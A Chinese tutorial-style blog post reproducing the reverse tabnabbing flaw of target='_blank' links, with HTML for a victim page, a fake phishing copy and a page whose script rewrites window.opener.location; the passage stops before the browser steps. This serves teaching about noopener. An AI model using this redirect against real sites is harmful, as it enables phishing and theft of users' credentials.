实战重现隐藏在A标签_blank下的危险漏洞,简略说明noopener的作用

前几日，在看阮一峰老师的博客文章中，发现了这么一篇。标题为《target = "_blank" 的危险性（英文）》。这篇文章同事看过之后因为不理解其中的危险之处，念念不忘，于是这里我们来重现一下这个漏洞。

首先做点准备：

准备两个域名 a.com b.com 分别解析到 127.0.0.1
准备好两个域名对应的http服务
chrome浏览器

正式开始

首先在a.com下建立1.html 写入代码

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
		
    </head>
    <body>
		<input type="text" value="信用卡+密码表单">
		<a href="http://b.com/b.html" target="_blank" >B站</a>
    </body>
</html>

　　在代码中，我们建立了一个A标签，链接到B站点，地址为 http://b.com/b.html 打开方式为新标签页打开也就是target="_blank"

将这个1.html文件复制一份到b站点的目录中并修改代码为

 1 <!DOCTYPE html>
 2 <html>
 3     <head>
 4         <meta charset="UTF-8">
 5         <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6         
 7     </head>
 8     <body>
 9         <input type="text" value="信用卡+密码表单+钓鱼页面">
10         <a href="http://b.com/b.html" target="_blank" >B站</a>
11     </body>
12 </html>

注意红色部分，这里是为了区分第一个页面加的标记。准备好以后再建立一个b.html满足A标签的目标文件。

代码为

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <script>
            function dosth(){
                window.opener.location = "http://b.com/1.html";
                alert("OK");
            }
        </script>
    </head>
    <body>
        <p>B站</p>
        <button type="button" onclick="dosth();">js</button>

    </body>
</html>

　　至此代码准备完毕，开始重现漏洞触发过程

打开Chrome ，当前版本为